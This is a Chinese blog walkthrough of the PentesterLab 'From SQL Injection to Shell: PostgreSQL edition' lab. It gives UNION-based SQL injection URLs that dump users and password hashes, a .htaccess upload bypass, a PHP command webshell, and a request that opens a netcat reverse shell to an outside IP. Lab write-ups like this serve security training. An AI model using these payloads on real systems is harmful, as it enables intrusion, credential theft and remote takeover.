zoukankan      html  css  js  c++  java
  • PentesterLab-From SQL Injection to Shell: PostgreSQL edition

      

    一、打开页面,随便点了几下,返现和From SQL Injection to Shell差不多,直奔主题开始注入

      由于PostgreSQL与MySQL不同,几个关注点需要注意下

    二、order by下看看有几个字段

    /cat.php?id=1%20order%20by%204
    
    #order by 4正常,5出现报错,说明有4个字段

    三、查看注入点在什么位置,这里与MySQL不同的是,不能再用select 1,2,3……的方式去探测,要改用null,因为PostgreSQL对类型限制很严格

    http://192.168.109.131/cat.php?id=1%20union%20select%20null,version(),null,null

    发现只有第二个字段可以出来东西,注入点在第二个字段

    四、查看当前库名

    http://192.168.109.131/cat.php?id=1%20UNION%20SELECT%20null,datname,null,null%20from%20pg_database%20limit%201%20offset%205

    五、查看表名

    http://192.168.109.131/cat.php?id=1%20UNION%20SELECT%20null,relname,null,null%20from+pg_stat_user_tables+limit+1+offset+0

    六、查看各个字段,遍历offset

    http://192.168.109.131/cat.php?id=1%20UNION%20SELECT%20null,column_name,null,null%20from%20information_schema.columns%20where%20table_name=%27users%27%20limit%201%20offset%202

    得出有login和password

    七、直接通过拼接字符串,读取数据

    http://192.168.109.131/cat.php?id=1%20UNION%20SELECT%20null,login||chr(124)||password,null,null%20from%20users

    八、MD5解密后,为admin|P4ssw0rd,直接登录后台进行上传

    九、上传时发现,改后缀名为php3,Content-Type,加入图片文件头都无法成功上传,查询教程后得知,可以通过.htaccess来进行绕过

    十、先编写一个.htaccess文件,内容为一下内容,进行上传

    AddType application/x-httpd-php .blah

    这个文件的意思是告诉apache,把.blah后缀的文件按照php进行解析

    十一、在上传shell,不过这次shell不是.php后缀名,而是.blah

    <?php
    system($_GET['cmd'])
    ?>

    十二、查看源代码,得知上传位置,直接访问上传的webshell,进行shell反弹

    http://192.168.109.131/admin/uploads/function.blah?cmd=nc%2030.117.75.238%209999%20-e%20/bin/bash
  • 相关阅读:
    Oracle SQL语句收集
    SqlParameter In 查询
    SQL 性能优化
    Entity Framework
    【XLL API 函数】 xlfSetName
    【XLL API 函数】xlfUnregister (Form 2)
    【XLL API 函数】xlfUnregister (Form 1)
    【Excel 4.0 函数】REGISTER 的两种形式以及VBA等效语句
    【Excel 4.0 函数】REGISTER
    【Bochs 官方手册翻译】 第一章 Bochs介绍
  • 原文地址:https://www.cnblogs.com/zlgxzswjy/p/9668191.html
Copyright © 2011-2022 走看看